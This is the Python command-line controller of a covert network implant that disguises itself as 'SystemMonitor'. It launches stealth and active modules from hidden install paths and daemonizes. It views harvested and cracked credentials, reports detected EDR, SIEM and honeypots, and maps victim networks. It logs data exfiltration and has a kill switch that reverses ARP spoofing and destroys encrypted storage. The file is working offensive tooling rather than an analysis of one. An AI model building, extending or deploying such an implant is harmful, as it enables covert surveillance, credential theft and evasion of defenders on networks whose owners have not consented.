#!/usr/bin/env python3
"""SystemMonitor — Network surveillance implant CLI.

Main entry point: Click-based CLI + Rich interactive menu.
Manages module lifecycle, status monitoring, and kill switch.
"""

import os
import sys
import time
import signal
import logging
import inspect
import importlib
import json
import sqlite3
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional, Type

import click
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.text import Text
from rich.prompt import Prompt

# Ensure project root is on sys.path
PROJECT_ROOT = str(Path(__file__).resolve().parent)
if PROJECT_ROOT not in sys.path:
    sys.path.insert(0, PROJECT_ROOT)

from core.bus import EventBus
from core.state import StateManager
from core.engine import Engine, detect_hardware_tier, HARDWARE_TIERS
from core.tool_manager import ToolManager
from core.scheduler import Scheduler
from core.resource_monitor import ResourceMonitor
from core.kill_switch import KillSwitch
from core.capture_bus import CaptureBus
from modules.base import BaseModule
from utils.config_loader import load_config, ConfigLoader
from utils.resource import (
    detect_hardware,
    get_resource_usage,
    get_hardware_tier,
    get_cpu_temperature,
    get_disk_usage,
)

console = Console()
logger = logging.getLogger(__name__)

# PID file for daemon mode
PID_FILE = "/tmp/.bb.pid"

# All module categories to discover
MODULE_CATEGORIES = ["stealth", "passive", "active", "intel", "connectivity"]


# ---------------------------------------------------------------------------
# Module discovery
# ---------------------------------------------------------------------------

def discover_modules_in_category(category: str) -> Dict[str, Type[BaseModule]]:
    """Scan modules/<category>/ for BaseModule subclasses."""
    modules: Dict[str, Type[BaseModule]] = {}
    cat_dir = os.path.join(PROJECT_ROOT, "modules", category)

    if not os.path.isdir(cat_dir):
        return modules

    for filename in sorted(os.listdir(cat_dir)):
        if filename.startswith("_") or not filename.endswith(".py"):
            continue

        module_name = filename[:-3]
        dotted = f"modules.{category}.{module_name}"

        try:
            mod = importlib.import_module(dotted)
        except Exception as exc:
            logger.debug("Failed to import %s: %s", dotted, exc)
            continue

        for attr_name in dir(mod):
            obj = getattr(mod, attr_name)
            if (
                isinstance(obj, type)
                and issubclass(obj, BaseModule)
                and obj is not BaseModule
                and hasattr(obj, "name")
                and obj.name != "unnamed"
            ):
                modules[obj.name] = obj

    return modules


def discover_all_modules() -> Dict[str, Type[BaseModule]]:
    """Discover all modules across every category."""
    all_modules: Dict[str, Type[BaseModule]] = {}
    for category in MODULE_CATEGORIES:
        all_modules.update(discover_modules_in_category(category))
    return all_modules


def discover_stealth_modules() -> Dict[str, Type[BaseModule]]:
    """Scan modules/stealth/ for BaseModule subclasses (backward compat)."""
    return discover_modules_in_category("stealth")


def get_module_config(module_name: str, config: dict) -> dict:
    """Extract module-specific config from the master config."""
    # Check for module-specific section in each category
    for category in MODULE_CATEGORIES:
        cat_cfg = config.get(category, {})
        if module_name in cat_cfg:
            merged = dict(config)
            merged.update(cat_cfg[module_name])
            return merged

    # Fallback: check top-level modules section
    mod_cfg = config.get("modules", {}).get(module_name, {})
    if mod_cfg:
        merged = dict(config)
        merged.update(mod_cfg)
        return merged
    return dict(config)


def is_module_enabled(module_name: str, module_type: str, config: dict) -> bool:
    """Check if a module is enabled in the config (modules.yaml)."""
    # Look in the category-level config
    cat_cfg = config.get(module_type, {})
    if module_name in cat_cfg:
        return cat_cfg[module_name].get("enabled", True)
    # Default: stealth/passive/intel enabled, active disabled
    if module_type in ("stealth", "passive", "intel"):
        return True
    if module_type == "connectivity":
        # Connectivity has mixed defaults; check config
        return cat_cfg.get(module_name, {}).get("enabled", False)
    return False  # active modules default to disabled


# ---------------------------------------------------------------------------
# Click CLI
# ---------------------------------------------------------------------------

@click.group(invoke_without_command=True)
@click.pass_context
def cli(ctx):
    """SystemMonitor — Network surveillance implant."""
    ctx.ensure_object(dict)
    if ctx.invoked_subcommand is None:
        interactive_menu()


@cli.command()
@click.option("--daemon", is_flag=True, help="Fork to background, write PID file")
@click.option("--passive-only", is_flag=True, help="Force passive-only engagement phase")
def start(daemon, passive_only):
    """Start SystemMonitor — initialize all core systems and enabled modules."""
    if daemon:
        _daemonize()

    console.print("[bold green]Starting SystemMonitor...[/bold green]")

    try:
        config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
    except Exception as exc:
        console.print(f"[red]Config error:[/red] {exc}")
        sys.exit(1)

    if passive_only:
        config.setdefault("engagement_phase", {})["mode"] = "passive_only"

    # Initialize core components
    bus = EventBus()
    bus.start()

    state = StateManager()
    state.start()

    engine = Engine(bus=bus, state=state, config=config)
    tool_manager = ToolManager(bus=bus)
    tool_manager.start_monitoring()

    # Discover all modules across every category
    discovered = discover_all_modules()
    by_type: Dict[str, int] = {}
    for name, cls in discovered.items():
        mod_type = getattr(cls, "module_type", "unknown")
        by_type[mod_type] = by_type.get(mod_type, 0) + 1

    console.print(f"  Discovered [cyan]{len(discovered)}[/cyan] modules: " +
                  ", ".join(f"{t}={c}" for t, c in sorted(by_type.items())))

    # Register enabled modules
    registered_count = 0
    for name, cls in discovered.items():
        mod_type = getattr(cls, "module_type", "unknown")
        if is_module_enabled(name, mod_type, config):
            mod_config = get_module_config(name, config)
            engine.register(cls, mod_config)
            registered_count += 1

    console.print(f"  Registered [cyan]{registered_count}[/cyan] enabled modules")

    # Start modules in dependency order
    results = engine.start_all()
    for name, success in results.items():
        status_str = "[green]OK[/green]" if success else "[red]FAILED[/red]"
        console.print(f"  {name}: {status_str}")

    # Start resource monitor
    res_mon = ResourceMonitor(bus=bus, state=state, config=config,
                              engine=engine, tool_manager=tool_manager)
    res_mon.start()

    console.print(f"\n[bold green]SystemMonitor running[/bold green] (tier={engine.tier}, phase={engine.phase})")

    if daemon:
        # Write PID file
        with open(PID_FILE, "w") as f:
            f.write(str(os.getpid()))
        # Block main thread
        try:
            while True:
                time.sleep(60)
        except (KeyboardInterrupt, SystemExit):
            pass
    else:
        console.print("Press Ctrl+C to stop")
        try:
            while True:
                time.sleep(1)
        except KeyboardInterrupt:
            pass

    # Shutdown
    console.print("\n[yellow]Shutting down...[/yellow]")
    res_mon.stop()
    engine.stop_all()
    tool_manager.stop_all()
    state.stop(secure_wipe=True)
    bus.stop()
    console.print("[green]SystemMonitor stopped.[/green]")


@cli.command()
def stop():
    """Graceful shutdown — stop all modules in reverse dependency order."""
    if os.path.exists(PID_FILE):
        try:
            with open(PID_FILE, "r") as f:
                pid = int(f.read().strip())
            os.kill(pid, signal.SIGTERM)
            console.print(f"[green]Sent SIGTERM to SystemMonitor (PID {pid})[/green]")
            os.unlink(PID_FILE)
        except (ProcessLookupError, ValueError):
            console.print("[yellow]SystemMonitor not running (stale PID file)[/yellow]")
            os.unlink(PID_FILE)
        except PermissionError:
            console.print("[red]Permission denied — try with sudo[/red]")
    else:
        console.print("[yellow]No PID file found — SystemMonitor may not be running[/yellow]")


@cli.command()
def status():
    """Show module status as a Rich table."""
    try:
        config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
    except Exception:
        config = {}

    state = StateManager()
    all_status = state.get_all_module_status()

    table = Table(title="SystemMonitor Module Status", show_lines=True)
    table.add_column("Module", style="cyan", min_width=20)
    table.add_column("Status", min_width=10)
    table.add_column("PID", justify="right", min_width=8)
    table.add_column("Uptime", justify="right", min_width=12)

    for name, info in sorted(all_status.items()):
        mod_status = info.get("status", "unknown")
        pid = str(info.get("pid", "-") or "-")
        started = info.get("started")

        if mod_status == "running":
            status_text = Text("running", style="bold green")
            if started:
                uptime_sec = time.time() - started
                uptime_str = _format_uptime(uptime_sec)
            else:
                uptime_str = "-"
        elif mod_status == "stopped":
            status_text = Text("stopped", style="dim")
            uptime_str = "-"
        elif mod_status == "error":
            status_text = Text("error", style="bold red")
            uptime_str = "-"
        else:
            status_text = Text(mod_status, style="yellow")
            uptime_str = "-"

        table.add_row(name, status_text, pid, uptime_str)

    if not all_status:
        table.add_row("[dim]No modules registered[/dim]", "", "", "")

    console.print(table)


@cli.command()
@click.argument("module_name")
def activate(module_name):
    """Enable and start a specific module."""
    try:
        config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
    except Exception as exc:
        console.print(f"[red]Config error:[/red] {exc}")
        return

    discovered = discover_all_modules()
    if module_name not in discovered:
        console.print(f"[red]Module '{module_name}' not found.[/red]")
        console.print(f"Available: {', '.join(sorted(discovered.keys()))}")
        return

    bus = EventBus()
    bus.start()
    state = StateManager()
    state.start()
    engine = Engine(bus=bus, state=state, config=config)

    cls = discovered[module_name]
    mod_config = get_module_config(module_name, config)
    engine.register(cls, mod_config)

    success = engine.start(module_name)
    if success:
        console.print(f"[green]Module '{module_name}' activated.[/green]")
    else:
        console.print(f"[red]Failed to activate '{module_name}'.[/red]")


@cli.command()
@click.argument("module_name")
def deactivate(module_name):
    """Stop and disable a specific module."""
    state = StateManager()
    mod_status = state.get_module_status(module_name)

    if mod_status.get("status") == "unknown":
        console.print(f"[yellow]Module '{module_name}' is not registered.[/yellow]")
        return

    # Send SIGTERM to the module's PID if running
    pid = mod_status.get("pid")
    if pid:
        try:
            os.kill(pid, signal.SIGTERM)
            console.print(f"[green]Module '{module_name}' (PID {pid}) stopped.[/green]")
        except (ProcessLookupError, PermissionError) as exc:
            console.print(f"[yellow]Could not stop PID {pid}: {exc}[/yellow]")

    state.set_module_status(module_name, "stopped")
    console.print(f"[green]Module '{module_name}' deactivated.[/green]")


@cli.command("kill")
def kill_switch():
    """Activate kill switch — full wipe and shutdown."""
    console.print(Panel(
        "[bold red]KILL SWITCH[/bold red]\n\n"
        "This will:\n"
        "  1. Stop all modules and subprocesses\n"
        "  2. Send corrective ARP packets\n"
        "  3. Destroy LUKS encryption header\n"
        "  4. Shred all sensitive files\n"
        "  5. Zero-fill data partition\n"
        "  6. Clear RAM and reboot\n\n"
        "[bold]THIS ACTION IS IRREVERSIBLE.[/bold]",
        title="WARNING",
        border_style="red",
    ))

    confirm = Prompt.ask("Type WIPE to confirm", default="")
    if confirm != "WIPE":
        console.print("[yellow]Kill switch aborted.[/yellow]")
        return

    try:
        config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
    except Exception:
        config = {}

    bus = EventBus()
    ks = KillSwitch(bus=bus, config=config)
    console.print("[red]Executing kill switch...[/red]")
    ks.execute(reason="manual_cli")


@cli.command("config")
def show_config():
    """Pretty-print current configuration."""
    try:
        config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
    except Exception as exc:
        console.print(f"[red]Config error:[/red] {exc}")
        return

    from rich.syntax import Syntax
    import yaml
    yaml_str = yaml.dump(config, default_flow_style=False, sort_keys=False)
    syntax = Syntax(yaml_str, "yaml", theme="monokai", line_numbers=False)
    console.print(Panel(syntax, title="SystemMonitor Configuration", border_style="cyan"))


@cli.command()
def selftest():
    """Run health checks: imports, tier detection, permissions, config, storage, binaries."""
    console.print("[bold]Running self-test...[/bold]\n")
    passed = 0
    failed = 0

    # 1. Core imports
    tests = [
        ("Core: EventBus", lambda: __import__("core.bus")),
        ("Core: StateManager", lambda: __import__("core.state")),
        ("Core: Engine", lambda: __import__("core.engine")),
        ("Core: ToolManager", lambda: __import__("core.tool_manager")),
        ("Core: KillSwitch", lambda: __import__("core.kill_switch")),
        ("Core: Scheduler", lambda: __import__("core.scheduler")),
        ("Core: ResourceMonitor", lambda: __import__("core.resource_monitor")),
        ("Utils: crypto", lambda: __import__("utils.crypto")),
        ("Utils: config_loader", lambda: __import__("utils.config_loader")),
        ("Utils: resource", lambda: __import__("utils.resource")),
    ]

    for label, test_fn in tests:
        try:
            test_fn()
            console.print(f"  [green]PASS[/green]  {label}")
            passed += 1
        except Exception as exc:
            console.print(f"  [red]FAIL[/red]  {label}: {exc}")
            failed += 1

    # 2. Hardware tier
    try:
        tier = get_hardware_tier()
        console.print(f"  [green]PASS[/green]  Hardware tier: {tier}")
        passed += 1
    except Exception as exc:
        console.print(f"  [red]FAIL[/red]  Hardware tier: {exc}")
        failed += 1

    # 3. Config loading
    try:
        config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
        console.print(f"  [green]PASS[/green]  Config loaded ({len(config)} top-level keys)")
        passed += 1
    except Exception as exc:
        console.print(f"  [red]FAIL[/red]  Config: {exc}")
        failed += 1

    # 4. Permissions
    install_path = "/opt/.cache/bb"
    if os.path.isdir(install_path):
        console.print(f"  [green]PASS[/green]  Install path exists: {install_path}")
        passed += 1
    else:
        console.print(f"  [yellow]SKIP[/yellow]  Install path not found: {install_path}")

    # 5. Storage
    try:
        total, free, used_pct = get_disk_usage("/")
        console.print(f"  [green]PASS[/green]  Disk: {total:.1f}GB total, {free:.1f}GB free ({used_pct:.1f}% used)")
        passed += 1
    except Exception as exc:
        console.print(f"  [red]FAIL[/red]  Disk check: {exc}")
        failed += 1

    # 6. External binaries
    binaries = ["tcpdump", "ip", "bettercap", "cryptsetup"]
    for binary in binaries:
        from shutil import which
        if which(binary):
            console.print(f"  [green]PASS[/green]  Binary: {binary}")
            passed += 1
        else:
            console.print(f"  [yellow]SKIP[/yellow]  Binary not found: {binary}")

    # 7. Module discovery — all categories
    for category in MODULE_CATEGORIES:
        discovered = discover_modules_in_category(category)
        console.print(f"  [green]PASS[/green]  {category.capitalize()} modules: {len(discovered)}")
        passed += 1

    console.print(f"\n[bold]Results: {passed} passed, {failed} failed[/bold]")


@cli.command("modules")
def list_modules():
    """List all available modules with type, enabled status, and dependencies."""
    try:
        config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
    except Exception:
        config = {}

    discovered = discover_all_modules()

    table = Table(title="Available Modules", show_lines=True)
    table.add_column("Module", style="cyan", min_width=22)
    table.add_column("Type", min_width=12)
    table.add_column("Priority", justify="right", min_width=8)
    table.add_column("Root", justify="center", min_width=5)
    table.add_column("Enabled", justify="center", min_width=7)
    table.add_column("Dependencies", min_width=15)

    for name in sorted(discovered.keys()):
        cls = discovered[name]
        mod_type = getattr(cls, "module_type", "unknown")
        priority = str(getattr(cls, "priority", 0))
        requires_root = "Yes" if getattr(cls, "requires_root", False) else "No"
        deps = ", ".join(getattr(cls, "dependencies", [])) or "-"

        enabled = is_module_enabled(name, mod_type, config)
        enabled_str = "[green]Yes[/green]" if enabled else "[dim]No[/dim]"

        table.add_row(name, mod_type, priority, requires_root, enabled_str, deps)

    console.print(table)
    console.print(f"\n  Total: [cyan]{len(discovered)}[/cyan] modules across "
                  f"{len(MODULE_CATEGORIES)} categories")


# ---------------------------------------------------------------------------
# Interactive menu — view functions
# ---------------------------------------------------------------------------

def _view_credentials():
    """Query the credential database and display a Rich table."""
    base_dir = os.path.expanduser("~/.implant")
    db_path = os.path.join(base_dir, "credentials.db")

    if not os.path.isfile(db_path):
        console.print("\n[yellow]No credential database found.[/yellow]")
        console.print(f"  Expected: {db_path}")
        console.print("  (Credentials are stored when modules capture them at runtime)")
        return

    try:
        conn = sqlite3.connect(db_path)
        conn.row_factory = sqlite3.Row

        # Summary stats
        total = conn.execute("SELECT COUNT(*) FROM credentials").fetchone()[0]
        cracked = conn.execute(
            "SELECT COUNT(*) FROM credentials WHERE crack_status='cracked'"
        ).fetchone()[0]
        unique_users = conn.execute(
            "SELECT COUNT(DISTINCT username) FROM credentials"
        ).fetchone()[0]
        unique_hosts = conn.execute(
            "SELECT COUNT(DISTINCT target_ip) FROM credentials WHERE target_ip != ''"
        ).fetchone()[0]

        console.print(f"\n  Total credentials: [cyan]{total}[/cyan] | "
                      f"Cracked: [green]{cracked}[/green] | "
                      f"Unique users: [yellow]{unique_users}[/yellow] | "
                      f"Unique hosts: [magenta]{unique_hosts}[/magenta]")

        if total == 0:
            conn.close()
            return

        # Show recent credentials
        rows = conn.execute(
            """SELECT id, timestamp, source_module, target_ip, service,
                      username, domain, cred_type, crack_status, cracked_value
               FROM credentials
               ORDER BY timestamp DESC LIMIT 50"""
        ).fetchall()

        table = Table(title="Credentials (most recent 50)", show_lines=True)
        table.add_column("ID", justify="right", min_width=4)
        table.add_column("Time", min_width=16)
        table.add_column("Source", min_width=14)
        table.add_column("Target", min_width=14)
        table.add_column("Service", min_width=10)
        table.add_column("Domain\\User", min_width=20)
        table.add_column("Type", min_width=10)
        table.add_column("Status", min_width=8)

        for row in rows:
            ts = datetime.fromtimestamp(row["timestamp"]).strftime("%Y-%m-%d %H:%M")
            domain_user = row["username"]
            if row["domain"]:
                domain_user = f"{row['domain']}\\{row['username']}"

            crack_status = row["crack_status"]
            if crack_status == "cracked":
                status_str = f"[green]cracked[/green]"
            elif crack_status == "cracking":
                status_str = f"[yellow]cracking[/yellow]"
            else:
                status_str = f"[dim]uncracked[/dim]"

            table.add_row(
                str(row["id"]),
                ts,
                row["source_module"] or "-",
                row["target_ip"] or "-",
                row["service"] or "-",
                domain_user,
                row["cred_type"] or "-",
                status_str,
            )

        console.print(table)

        # Type breakdown
        type_rows = conn.execute(
            "SELECT cred_type, COUNT(*) as cnt FROM credentials GROUP BY cred_type ORDER BY cnt DESC"
        ).fetchall()
        if type_rows:
            console.print("\n  By type: " + " | ".join(
                f"{r['cred_type']}={r['cnt']}" for r in type_rows
            ))

        conn.close()

    except Exception as exc:
        console.print(f"\n[red]Error reading credential database:[/red] {exc}")


def _view_intel():
    """Show an intelligence summary: hosts, credentials, modules, security tools."""
    base_dir = os.path.expanduser("~/.implant")
    state = StateManager()

    console.print("\n")
    intel_table = Table(title="Intelligence Summary", show_lines=True, min_width=60)
    intel_table.add_column("Category", style="cyan", min_width=25)
    intel_table.add_column("Value", min_width=30)

    # Host count from topology mapper state
    nodes_json = state.get("topology_mapper", "nodes")
    host_count = 0
    if nodes_json:
        try:
            nodes = json.loads(nodes_json)
            host_count = len(nodes)
        except (json.JSONDecodeError, TypeError):
            pass
    intel_table.add_row("Discovered Hosts", str(host_count))

    # Credential count
    cred_db_path = os.path.join(base_dir, "credentials.db")
    cred_count = 0
    cracked_count = 0
    if os.path.isfile(cred_db_path):
        try:
            conn = sqlite3.connect(cred_db_path)
            cred_count = conn.execute("SELECT COUNT(*) FROM credentials").fetchone()[0]
            cracked_count = conn.execute(
                "SELECT COUNT(*) FROM credentials WHERE crack_status='cracked'"
            ).fetchone()[0]
            conn.close()
        except Exception:
            pass
    intel_table.add_row("Credentials (total/cracked)", f"{cred_count} / {cracked_count}")

    # Active modules
    all_status = state.get_all_module_status()
    running_modules = [n for n, s in all_status.items() if s.get("status") == "running"]
    intel_table.add_row("Running Modules", str(len(running_modules)))
    if running_modules:
        intel_table.add_row("  Active", ", ".join(sorted(running_modules)[:10]))

    # Security posture
    risk_level = state.get("security_posture", "risk_level")
    if risk_level:
        risk_color = {"low": "green", "medium": "yellow", "high": "red", "critical": "bold red"
                       }.get(risk_level, "dim")
        intel_table.add_row("Security Risk Level", f"[{risk_color}]{risk_level}[/{risk_color}]")
    else:
        intel_table.add_row("Security Risk Level", "[dim]not assessed[/dim]")

    has_edr = state.get("security_posture", "has_edr")
    if has_edr:
        intel_table.add_row("EDR Detected", "Yes" if json.loads(has_edr) else "No")

    has_siem = state.get("security_posture", "has_siem")
    if has_siem:
        intel_table.add_row("SIEM Detected", "Yes" if json.loads(has_siem) else "No")

    has_nac = state.get("security_posture", "has_nac")
    if has_nac:
        intel_table.add_row("NAC Detected", "Yes" if json.loads(has_nac) else "No")

    has_honeypot = state.get("security_posture", "has_honeypot")
    if has_honeypot:
        intel_table.add_row("Honeypots Detected", "Yes" if json.loads(has_honeypot) else "No")

    # VLANs
    vlans_json = state.get("topology_mapper", "vlans")
    if vlans_json:
        try:
            vlans = json.loads(vlans_json)
            intel_table.add_row("VLANs Discovered", str(len(vlans)))
        except (json.JSONDecodeError, TypeError):
            pass

    console.print(intel_table)


def _view_topology():
    """Show network topology from topology_mapper state data."""
    state = StateManager()
    nodes_json = state.get("topology_mapper", "nodes")
    edges_json = state.get("topology_mapper", "edges")
    vlans_json = state.get("topology_mapper", "vlans")

    nodes = {}
    edges = {}
    vlans = {}

    if nodes_json:
        try:
            nodes = json.loads(nodes_json)
        except (json.JSONDecodeError, TypeError):
            pass

    if edges_json:
        try:
            edges = json.loads(edges_json)
        except (json.JSONDecodeError, TypeError):
            pass

    if vlans_json:
        try:
            vlans = json.loads(vlans_json)
        except (json.JSONDecodeError, TypeError):
            pass

    if not nodes:
        console.print("\n[yellow]No topology data available yet.[/yellow]")
        console.print("  Topology is built from passive host discovery and network observation.")
        return

    # Host table
    table = Table(title=f"Network Topology ({len(nodes)} hosts, {len(edges)} links, {len(vlans)} VLANs)",
                  show_lines=True)
    table.add_column("IP", style="cyan", min_width=15)
    table.add_column("Hostname", min_width=18)
    table.add_column("MAC", min_width=17)
    table.add_column("OS", min_width=10)
    table.add_column("Role", min_width=12)
    table.add_column("VLAN", justify="right", min_width=5)
    table.add_column("Ports", min_width=15)

    for ip in sorted(nodes.keys()):
        node = nodes[ip]
        hostname = node.get("hostname", "")
        mac = node.get("mac", "")
        os_family = node.get("os_family", "unknown")
        role = node.get("role", "unknown")
        vlan = str(node.get("vlan", "")) if node.get("vlan") is not None else "-"
        ports = node.get("open_ports", [])
        if isinstance(ports, list):
            ports_str = ", ".join(str(p) for p in sorted(ports)[:8])
            if len(ports) > 8:
                ports_str += f" (+{len(ports) - 8})"
        else:
            ports_str = str(ports)

        table.add_row(ip, hostname or "-", mac or "-", os_family, role, vlan, ports_str or "-")

    console.print(f"\n")
    console.print(table)

    # VLAN summary
    if vlans:
        console.print("\n  VLANs:")
        for vid, vinfo in sorted(vlans.items(), key=lambda x: str(x[0])):
            name = vinfo.get("name", "")
            subnet = vinfo.get("subnet", "")
            console.print(f"    VLAN {vid}: {name} ({subnet})" if name
                          else f"    VLAN {vid}: {subnet}")


def _view_timeline():
    """Show recent events from the operator audit log."""
    base_dir = os.path.expanduser("~/.implant")
    db_path = os.path.join(base_dir, "operator_audit.db")

    if not os.path.isfile(db_path):
        console.print("\n[yellow]No audit log found.[/yellow]")
        console.print(f"  Expected: {db_path}")
        console.print("  (Audit log is created when operator_audit module starts)")
        return

    try:
        conn = sqlite3.connect(db_path)
        conn.row_factory = sqlite3.Row

        total = conn.execute("SELECT COUNT(*) FROM audit_log").fetchone()[0]

        rows = conn.execute(
            """SELECT id, timestamp, action, operator, details
               FROM audit_log
               ORDER BY id DESC LIMIT 50"""
        ).fetchall()

        if not rows:
            console.print("\n[yellow]Audit log is empty.[/yellow]")
            conn.close()
            return

        console.print(f"\n  Total audit entries: [cyan]{total}[/cyan] (showing most recent 50)")

        table = Table(title="Operator Timeline", show_lines=True)
        table.add_column("ID", justify="right", min_width=5)
        table.add_column("Time", min_width=19)
        table.add_column("Action", min_width=16)
        table.add_column("Operator", min_width=16)
        table.add_column("Details", min_width=30)

        for row in rows:
            ts = datetime.fromtimestamp(row["timestamp"]).strftime("%Y-%m-%d %H:%M:%S")
            action = row["action"]

            # Color code actions
            action_colors = {
                "module_start": "green",
                "module_stop": "yellow",
                "kill_switch": "bold red",
                "config_change": "magenta",
                "ssh_session": "cyan",
                "cli_command": "blue",
                "cred_export": "green",
                "data_exfil": "green",
            }
            color = action_colors.get(action, "dim")
            action_str = f"[{color}]{action}[/{color}]"

            table.add_row(
                str(row["id"]),
                ts,
                action_str,
                row["operator"] or "-",
                (row["details"] or "-")[:60],
            )

        console.print(table)
        conn.close()

    except Exception as exc:
        console.print(f"\n[red]Error reading audit log:[/red] {exc}")


# ---------------------------------------------------------------------------
# Interactive menu
# ---------------------------------------------------------------------------

def interactive_menu():
    """Rich-based numbered menu with hardware info and phase display."""
    try:
        config = load_config(config_dir=os.path.join(PROJECT_ROOT, "config"))
    except Exception:
        config = {}

    hw = detect_hardware()
    tier = hw.tier
    phase = config.get("engagement_phase", {}).get("mode", "passive_only")
    temp = get_cpu_temperature()
    temp_str = f"{temp:.1f}C" if temp is not None else "N/A"

    header = (
        f"[bold cyan]SystemMonitor[/bold cyan] v1.0\n"
        f"Hardware: [yellow]{hw.model or 'Unknown'}[/yellow] ({tier})\n"
        f"CPU: {hw.cpu_cores} cores ({hw.architecture}) | RAM: {hw.total_ram_mb}MB | Temp: {temp_str}\n"
        f"Phase: [{'green' if phase == 'passive_only' else 'red'}]{phase}[/{'green' if phase == 'passive_only' else 'red'}]"
    )

    while True:
        console.print()
        console.print(Panel(header, title="Dashboard", border_style="cyan"))
        console.print()
        console.print("  [bold]1.[/bold] Start all modules")
        console.print("  [bold]2.[/bold] Stop all modules")
        console.print("  [bold]3.[/bold] Module status")
        console.print("  [bold]4.[/bold] List modules")
        console.print("  [bold]5.[/bold] View Credentials")
        console.print("  [bold]6.[/bold] View Intelligence")
        console.print("  [bold]7.[/bold] Network Topology")
        console.print("  [bold]8.[/bold] Timeline")
        console.print("  [bold]9.[/bold] Self-test")
        console.print("  [bold]C.[/bold] Configuration")
        console.print("  [bold]K.[/bold] Kill switch")
        console.print("  [bold]Q.[/bold] Quit")
        console.print()

        choice = Prompt.ask("Select", default="Q")
        choice = choice.strip().upper()

        if choice == "1":
            ctx = click.Context(start)
            ctx.invoke(start, daemon=False, passive_only=False)
        elif choice == "2":
            ctx = click.Context(stop)
            ctx.invoke(stop)
        elif choice == "3":
            ctx = click.Context(status)
            ctx.invoke(status)
        elif choice == "4":
            ctx = click.Context(list_modules)
            ctx.invoke(list_modules)
        elif choice == "5":
            _view_credentials()
        elif choice == "6":
            _view_intel()
        elif choice == "7":
            _view_topology()
        elif choice == "8":
            _view_timeline()
        elif choice == "9":
            ctx = click.Context(selftest)
            ctx.invoke(selftest)
        elif choice == "C":
            ctx = click.Context(show_config)
            ctx.invoke(show_config)
        elif choice == "K":
            ctx = click.Context(kill_switch)
            ctx.invoke(kill_switch)
        elif choice == "Q":
            console.print("[dim]Goodbye.[/dim]")
            break
        else:
            console.print("[yellow]Invalid choice.[/yellow]")


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def _format_uptime(seconds: float) -> str:
    """Format seconds into a human-readable uptime string."""
    if seconds < 60:
        return f"{seconds:.0f}s"
    elif seconds < 3600:
        return f"{seconds / 60:.0f}m {seconds % 60:.0f}s"
    elif seconds < 86400:
        h = int(seconds // 3600)
        m = int((seconds % 3600) // 60)
        return f"{h}h {m}m"
    else:
        d = int(seconds // 86400)
        h = int((seconds % 86400) // 3600)
        return f"{d}d {h}h"


def _daemonize():
    """Fork into background, redirect stdio, write PID file."""
    try:
        pid = os.fork()
        if pid > 0:
            # Parent exits
            sys.exit(0)
    except OSError as exc:
        console.print(f"[red]Fork failed:[/red] {exc}")
        sys.exit(1)

    # Decouple from parent
    os.setsid()
    os.umask(0)

    # Second fork
    try:
        pid = os.fork()
        if pid > 0:
            sys.exit(0)
    except OSError as exc:
        sys.exit(1)

    # Redirect stdio
    sys.stdout.flush()
    sys.stderr.flush()
    devnull = open(os.devnull, "r+b")
    os.dup2(devnull.fileno(), sys.stdin.fileno())
    os.dup2(devnull.fileno(), sys.stdout.fileno())
    os.dup2(devnull.fileno(), sys.stderr.fileno())


# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------

if __name__ == "__main__":
    cli()
